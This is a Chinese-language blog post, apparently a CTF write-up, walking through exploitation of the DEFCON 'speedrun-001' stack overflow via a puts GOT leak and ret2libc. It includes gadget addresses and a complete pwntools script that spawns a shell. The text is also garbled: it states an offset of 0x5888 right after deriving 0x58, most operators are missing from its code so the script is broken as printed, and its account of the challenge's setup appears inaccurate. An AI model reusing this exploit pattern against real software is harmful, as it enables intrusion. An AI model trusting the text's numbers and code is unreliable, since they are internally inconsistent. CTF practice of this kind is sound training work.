尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DEFCON决赛speedrun-001栈溢出漏洞利用复盘:从ROP到ret2libc
复盘DEFCON CTF Finals 2019的时候我第一个拿出来重做的是speedrun-001。这个题目在当年的决赛里属于典型的抢分题但它的价值恰恰体现在抢分这两个字上保护机制不是全开但足够模拟真实环境漏洞点明显、利用链标准全程考察的是你对栈溢出基础功的熟练度。这篇博文把整个分析过程完整拆开从静态逆向到ROP链构造再到libc地址泄漏和ret2libc的完整利用把我调试过程中踩过的坑一并记录适合刚把栈溢出基础过完、想通过真实赛题检验自己的选手参考。1. 题目初印象为什么speedrun-001值得复盘1.1 先弄清楚speedrun系列考什么DEFCON CTF决赛的题目向来以实战感著称系统性的漏洞利用场景、复杂的内核题目、各种刁钻的沙箱逃逸时不时就让参赛队伍在比赛现场抓耳挠腮。但speedrun系列是个异类它的定位非常明确在最短时间内完成逆向和利用考察的不是你掌握多少冷门技巧而是你对经典漏洞模式是否足够敏感能不能在几分钟内完成识别漏洞—构造利用—拿flag这一整套流程。speedrun-001正是这个系列的开胃菜。它的核心特征是一个极其明显的栈缓冲区溢出程序逻辑本身没有复杂的校验分支也没有需要逆向半天才能搞懂的状态机。设计者的意图很直接就是给你一个溢出点看你能不能快速把它变成一次成功的命令执行。这类题在比赛中被戏称为手速题因为它比拼的往往是前期的分析节奏和后期的脚本调试效率而不是算法层面的智力碾压。也正是因为它基础所以含金量并不低。一个能把speedrun-001稳扎稳打做出来的选手对栈布局、ROP、GOT/PLT机制、libc版本匹配这些概念一定不是停留在背模板的层面而是真正理解了背后的原理。复盘这道题本质上就是在复盘栈利用这条主线的所有关键节点。1.2 拿到题目后的第一反应拿到一个pwn题我的固定套路是先回答三个问题这个程序是什么架构、有哪些保护、漏洞点大概在哪个函数。这三个问题不搞清楚后面的一切都是空中楼阁。先看文件类型。speedrun-001是一个64位ELF可执行文件strip过但保留了符号表的一部分信息main函数可以直接在IDA里看到。紧接着用checksec检查保护机制这一步在真实比赛中决定了我后面用哪种利用策略一分钟都不能省。Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这个结果属于比上不足比下有余的典型配置。没有canary意味着直接打栈溢出不需要考虑绕过栈保护没有PIE意味着二进制本身的代码段地址是固定的GOT表、PLT表、以及各种可用的gadget地址可以直接写死。但NX开启说明栈上不允许执行代码经典的shellcode注入方案直接废弃必须绕到ROP这条路上来。RELRO是Partial而不是Full这意味着GOT表项还是可写的。不过在这个题里我没有走GOT覆写的路线因为程序本身存在一个更好用的信息泄漏入口它会在main函数里调用puts来输出提示信息这给了我们直接调用puts泄漏libc地址的便利条件。RELRO的配置不影响主利用链但这个问题值得留意后面做变种题时可能就靠它翻盘。2. 静态逆向从程序入口到漏洞点定位2.1 主逻辑到底做了什么用反汇编器加载二进制后main函数的逻辑一眼就能看完。程序首先调用puts输出一段提示文本告诉用户它已经准备好接收输入。随后调用read函数从标准输入读取最多0x400字节的数据存放在一个栈缓冲区中缓冲区的起始地址位于rbp-0x50。这里有一个非常经典的细节缓冲区只有0x50字节深read却允许读入0x400字节而且程序在read之后没有任何长度校验、也没有后续对输入内容的格式检查直接ret返回。这就是教科书式的栈溢出入口。虽然题目名叫speedrun但设计者并没有在洞上藏什么玄机整个程序的信息量大概就这些。反汇编出来的伪代码思路大概是这样int main() { char buf[0x50]; puts(Welcome to the speedrun challenge.); read(0, buf, 0x400); return 0; }这个函数结构在真实CTF中出现的频率非常高很多CVE复现或者内部模拟项目里的漏洞函数就是这样简单粗暴一次不安全的read往小缓冲区里塞大量数据保存的返回地址被覆盖程序流程瞬间失控。所以这个题虽然小练的却是真实漏洞的精髓——危险的输入长度控制。2.2 计算偏移量与确定控制点确认了漏洞点接下来就是精确计算从缓冲区开头到返回地址之间的距离。这个偏移量是整个利用的地基算错一个字节ROP链条偏差一位程序在运行时就可能直接崩溃而且是那种不好排查的随机崩溃。我用gdb配合pattern工具来算。先在gdb里给main函数的ret下断点然后发送一串有规律的定位字符串比如每4个字节重复的AAAABBBB...模式程序崩溃后观察RIP寄存器被哪个模式的字符覆盖再在输入里找到那个模式的位置偏移量就出来了。实测结果缓冲区从rbp-0x50开始覆盖完0x50字节的缓冲区之后还需要0x8字节覆盖保存的rbp之后才是返回地址。也就是说从输入开头到返回地址的偏移是0x5888字节。这个数字是这次利用里最关键的常量后面的ROP payload全部要基于它来排布。这里顺带提一个经验很多人喜欢手动数偏移觉得pattern工具小题大做。但真实比赛中尤其是speedrun这种抢分题一次gdb定位比反复手数要可靠得多而且不容易因为栈对齐、编译器优化导致的实际布局偏差而出错。工具该用就用效率优先。2.3 为什么没有直接走ret2win有些CTF题目为了降低难度会在二进制里放一个后门函数直接调用system(/bin/sh)或者cat flag。这时候利用者只需要把返回地址改成后门函数地址就行连libc都不用碰。speedrun-001是不是这种题我在分析符号和函数列表时仔细确认过程序里没有现成的system调用也没有伪造的flag读取函数所以一条ROP直达后门的route是不存在的。既然没有现成的后门就必须自己动手造一条命令执行的路径。通用方案有两个一是通过泄漏libc基址算出system函数和/bin/sh字符串的真实地址用ROP调用二是利用程序本身的PLT/GOT先泄漏地址再二次进入主逻辑实现任意地址读写。speedrun-001的主函数在read后正常返回处理完一次payload后可以再次调用main这天然支持两阶段利用第一阶段泄漏第二阶段拿shell。3. 漏洞利用思路把一次越界读写变成交互式Shell3.1 攻击链的整体设计整个利用分为两个阶段逻辑上非常清晰。第一阶段通过read的溢出覆盖返回地址构造一段ROP链条调用puts函数把puts函数在GOT表中的真实地址打印出来。puts在泄漏完地址后会把返回值置入rax但ROP链并不依赖这个返回值而是通过控制流直接跳回main函数的开头让程序重新执行一遍输出提示—接收输入—返回的过程。第二阶段程序再次运行到read时我们已经拿到了libc的基址。基于泄漏地址减去libc中puts符号的偏移算出system函数地址和/bin/sh字符串地址再构造第二条ROP链调用system完成getshell。这里有个值得说清楚的点为什么要泄漏puts而不是别的函数因为puts在程序里被实际调用过它的GOT表项已经被动态链接器填充了真实地址。如果你去泄漏一个从未被调用的函数GOT里存的还是指向PLT的跳转桩地址泄漏出来没有任何libc信息。选择泄漏对象时一定要挑程序运行路径上确实执行过的函数。3.2 关键gadget的选取与栈对齐问题构造ROP链需要一些小工具gadget最常见的是pop rdi; ret。在64位ELF里函数调用时第一个参数通过rdi传递所以调用puts之前必须先把putsgot的地址弹入rdi。我用ROPgadget在二进制里搜了一圈轻松找到了pop rdi; ret的地址同时确认了putsplt和putsgot的地址以及main函数的入口地址。这三样东西足以拼出第一阶段的ROP链。但64位下的ROP有个容易忽略的坑系统调用和glibc函数对栈对齐有要求。具体来说在执行call指令时栈顶需要满足16字节对齐否则某些libc内部使用movaps指令的函数会直接触发SIGSEGV。这个报错非常诡异因为你的ROP链条看起来完全没有问题地址都是对的但程序就是段错误。解决办法也很简单在ROP链的开头额外加一个ret gadget相当于把栈顶往下挪8字节把对齐关系调整正确。这个凑一个ret的技巧在几乎所有64位ROP利用里都适用我建议直接写成肌肉记忆。调试时如果发现libc函数调用后立刻崩溃先检查对齐八成是这里出了问题。3.3 libc基址计算与版本匹配泄漏出puts的真实运行地址之后要算libc基址就需要知道puts在libc里的偏移。这个偏移不是固定的不同版本的libc有差异。比赛环境一般都会给libc文件或者提供远程服务的系统信息供选手推测。如果没有libc文件就需要用LibcSearcher这类工具根据泄漏的低12位地址来检索匹配的libc版本。这道题我直接用题目配套的libc算偏移。命令很简单在本地把libc加载到调试器里用符号表查询puts的偏移然后拿泄漏地址减偏移就得到libc基址。Bingo之后system和binsh的地址就是基址加各自偏移全部写死在第二阶段的参数里。值得强调的是本地调试和远程利用必须使用同一个libc否则泄漏地址的计算结果完全对不上。很多选手在本地一把梭成功一到远程就全崩十有八九是libc版本不匹配。这个坑我在后面专门列了一节。4. 完整利用实现从本地验证到远程拿flag4.1 环境准备与工具链搭配做这道题我用的环境是常见的Linux发行版加pwntoolsPython版本用3系。pwntools是目前打CTF的标配它同时负责了发送payload、接收输出、处理远程连接这些脏活用起来比裸socket手动收发舒服太多。调试方面配了一个gdb插件来可视化栈布局和寄存器状态定位偏移和观察ROP链执行状态时特别直观。在开始写脚本前先把需要固化的常量准备好pop rdi; ret的地址、ret的地址、putsplt、putsgot、main入口地址以及libc里puts、system、binsh的偏移。这些常量全部写成变量放在脚本顶部后面构造payload时直接引用避免在字符串里手抄地址导致低级的拼写错误。4.2 第一阶段payload的结构细节第一阶段payload的排布从第0字节开始先填0x58字节的填充数据让栈指针正好落在返回地址的位置。然后依次写入pop rdi; ret、putsgot、putsplt最后是main入口。整个链条执行的逻辑是先把putsgot的地址放进rdi再调用puts打印出该内存地址处存放的8字节真实地址最后跳回main重新开始。这里有一个关于输出格式的细节puts打印字符串时遇到\x00会停止输出。由于putsgot指向的地址其前8字节是libc中puts的真实地址内存中的二进制表示经常包含\x00字节所以puts打印出来的不是完整的8字节地址而是从首字节开始一直到第一个\x00为止的字节流。接收端需要通过接收一定长度的数据再按照长度补齐到8字节才能得到真实的地址值。def leak_once(): io.sendline(bA * 0x58 p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr)) data io.recvline() # 这一行是puts的输出 leaked data.strip().ljust(8, b\x00) puts_addr u64(leaked) return puts_addr这段代码看起来简单但ljust补零这个操作非常关键。如果漏写u64解析出来的地址会因为缺字节而错位后面的libc基址计算全盘皆输。我第一次调试时就吃过这个亏输出日志里看到泄漏地址怎么都不对排查了半天才发现是接收长度没处理好。4.3 第二阶段payload与完整脚本拿到libc基址后第二阶段就相对机械了算出system地址和binsh地址在第二次溢出时把返回地址改成pop rdi; retrdi指向binsh最后跳进system。整个payload依旧是从0x58偏移开始前面全部填充后面接ROC链条。完整脚本如下这个脚本在本地和远程之间通过context.log_level和io的切换来统一处理比较适合比赛时快速改动。from pwn import * context.arch amd64 context.log_level info context.terminal [tmux, new-window] # 固定地址常量 pop_rdi 0x400793 ret 0x400526 puts_plt 0x400550 puts_got 0x601018 main_addr 0x400577 # libc偏移以题目提供的libc为准 libc ELF(./libc.so.6) puts_off libc.symbols[puts] system_off libc.symbols[system] binsh_off next(libc.search(b/bin/sh)) # 本地调试可以换成process远程改成remote io process(./speedrun-001) # io remote(target.example.com, 31337) def build_stage(addr): return bA * 0x58 p64(pop_rdi) p64(addr) p64(puts_plt) p64(main_addr) io.recvline() io.send(build_stage(puts_got)) leak io.recvline().strip().ljust(8, b\x00) puts_real u64(leak) log.success(puts addr: hex(puts_real)) libc_base puts_real - puts_off log.success(libc base: hex(libc_base)) system_real libc_base system_off binsh_real libc_base binsh_off payload bB * 0x58 payload p64(ret) # 栈对齐 payload p64(pop_rdi) payload p64(binsh_real) payload p64(system_real) io.sendline(payload) io.interactive()那个额外的p64(ret)就是我前面说的栈对齐修正。没有它本地可能时好时坏远程服务器上几乎必崩。建议所有64位ret2libc利用都保持这个习惯哪怕当前libc版本不加也能跑加上去总不会错。4.4 从调试器到远程的实际运行效果在gdb里逐步跟踪时重点观察三个阶段第一阶段putsplt执行前rdi是否确实是putsgot地址puts执行完返回后是否成功跳回main第二阶段system执行前rdi是否指向binsh字符串。三个点都确认无误脚本一次跑通。本地跑通后切到远程注意加一个time.sleep(0.2)的节奏控制避免发送和接收之间出现竞态导致输出错位。远程拿flag后整个利用链从漏洞分析到最终命令执行就算全部完成了。整个过程如果在比赛现场熟练的话十分钟内可以走完这也就是speedrun题名的含义。5. 实战复盘踩坑记录与提速技巧5.1 三个容易翻车的地方第一个坑是第一阶段的接收逻辑。puts输出地址时会输出到换行符为止如果地址本身包含换行字节0x0a接收就会提前截断。这个概率不高但真实存在处理方式是接收原始字节流而不是用按行读取或者对数据长度做校验。比赛里我习惯直接recvuntil某个固定标记避免对输出内容作太多假设。第二个坑是栈对齐。这个前面已经提到但值得再强调一次64位ROP里调用libc函数前不检查栈对齐等于埋雷。尤其是system这种内部实现比较复杂的函数一个movaps指令就能让你的payload在最后一刻崩溃而且崩溃点看起来和你的利用逻辑毫无关系。排查方法就是在payload开头多放一个ret看问题是否消失。第三个坑是本地libc和远程libc不一致。这个问题在真实比赛中几乎每年都会坑掉一批人。本地能通、远程不通时第一反应不是检查payload逻辑而是检查远程环境的libc。如果比赛没有明确提供libc可以通过泄漏地址的低12位去匹配常见版本或者利用远程程序的其他行为来探测libc版本。5.2 speedrun题怎么练手速复盘完这道题我最大的体会是这类题目练的不是知识量而是操作流程的肌肉记忆。从拿到文件到checksec从checksec到定位漏洞点每步都可以形成固定动作。平时训练时给自己定一个倒计时争取在十五分钟内完成逆向和第一版利用脚本然后再花十分钟调试对齐和接收问题。另一个提速点是尽量复用自己积累的模板。pwntools的脚本框架、常量提取流程、调试断点设置这些都可以预先做成半成品比赛时只需要填地址和偏移。很多顶尖选手的做题速度快并不是临场超常发挥而是模板库足够丰富大部分工作都是填参数而非从零开发。5.3 赛后可以继续深挖的方向speedrun-001的利用路径虽然标准但赛后我只能说如果只满足于打通拿flag那就浪费了这个题。它身上至少还能延伸出三个变种问题如果把PIE打开需要先解决代码段基址泄漏利用链会改成三段甚至四段如果把canary开开则需要先通过某种方式爆破或泄漏canary如果把RELRO改成FullGOT覆写路线就彻底封死只能靠更复杂的libc劫持手段。这三个方向刚好对应栈利用题的三道进阶门槛也是从会用模板走向理解原理的必经之路。下次刷题时可以尝试在speedrun-001的基础上手动开启这些保护重新编译体会每加一层保护后利用链复杂度是怎么涨起来的。我个人在反复刷这类题目后最大的收获是对攻击面这个词有了更具体的感知。一个看似简单的read溢出背后串联的是PLT/GOT机制、动态链接过程、系统调用规范、内存布局规则一整条知识链。把这些链条上的每一个节点都弄明白再回头理解更复杂的堆利用、内核利用会发现底层逻辑都是相通的。基础题的价值恰恰在这里它把最高频的利用原语浓缩在一个小场景里值得反复咀嚼。
RELATED

相关推荐

端侧AI Agent系统落地指南:模型之外的关键工程实践

端侧AI Agent系统落地指南:模型之外的关键工程实践

1. 为什么一个端侧模型能把Agent这个老概念重新点着AI Agent不是一个新词,从早期基于规则的任务脚本到后来RPA、工作流引擎,圈子内讨论Agent已经好几年了。但过去聊Agent的时候,大家默认一个前提——推理能力在云端,模型是上百亿甚…

📅 2026/10/21 5:15:58
4路加热烘箱流水线PID温控与V20 USS通讯实战调试笔记

4路加热烘箱流水线PID温控与V20 USS通讯实战调试笔记

实际调试过的4路加热烘箱流水线,配合V20变频器做USS通讯,这活儿不算大,但想把程序写得“结构清晰、稳定可靠”,确实有一些门道。很多朋友拿到类似项目,第一反应是先把PID向导拉出来,或者先调变频器&#xf…

📅 2026/10/21 5:15:58
【原创】基于SpringBoot+Vue的宠物医院系统(设计与实现)

【原创】基于SpringBoot+Vue的宠物医院系统(设计与实现)

摘要:本系统采用前后端分离的架构实现,通过Vue以及ElementUI实现前端界面;通过Axios请求后端SpringBoot框架构建系统的后端接口,并采用MySQL数据库存储系统数据。系统内通过角色权限控制,实现了客户、宠物医生、前台人…

📅 2026/10/21 5:15:58
MORE NEWS

更多资讯

📰

AI全链工作台实战:从ComfyUI到AI Agent的自动化内容生产

我第一次完整跑通 closerAI flowStudio Pro 的全链流程时,最大的感受是:以前要装五六个软件、写一堆脚本才能完成的事,现在真的能在一个工作台上收口。这个叫“万能全链工作台”的东西,不是那种把几个按钮拼在一起的缝合怪——它把…

📰

一物一码食品防伪溯源实战:从赋码到消费者扫码的全链路解析

去年有个做坚果礼盒的客户找上我,一开口就是“假货都卖到旗舰店楼下了”。他们之前用刮刮卡式的防伪标签,结果印刷厂那边的码库被泄露过一次,市面上流通了一批真码假货,消费者刮开扫码验真居然还显示正品。这事后来闹得挺大&#…

📰

REA开源逆向工具集:从二进制到关键逻辑的工程实践指南

1. 项目走红背后的真实逻辑REA这个名字最近在技术社区刷屏的时候,我第一反应是“又一个逆向工程玩具被炒起来了”。但仔细翻完仓库和讨论串之后,发现事情没那么简单——这个项目火起来,靠的不是花哨的界面,也不是什么惊天动地的“…

📰

零配置Agent:用装饰器替代MCP配置文件的本地协同范式

1. 这不是“又一个AI编程工具”,而是本地Agent协同范式的悄然切换你有没有过这样的时刻:深夜调试一个MCP(Model Control Protocol)服务,反复修改tools.json里那个嵌套三层的JSON Schema,只为让Claude能正确…

📰

Pytorch三元组损失:原理、Batch Hard实现与训练避坑指南

在深度学习里跑过几轮人脸识别、图像检索、行人重识别(ReID)这类任务的老哥,应该都绕不开一个东西:度量学习,而度量学习里面最经典、被问得最多的就是Pytorch里的三元组损失(Triplet Loss)。我第…

📰

litellm:统一OpenAI接口,轻松调用多模型服务

1. 从一个“模型调用地狱”说起:litellm 到底解决了什么问题做过大模型应用开发的人,大概率都经历过这样一个阶段:项目最开始只接了一家模型服务商的接口,代码写得干干净净,一个client.chat.completions.create()走天下…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬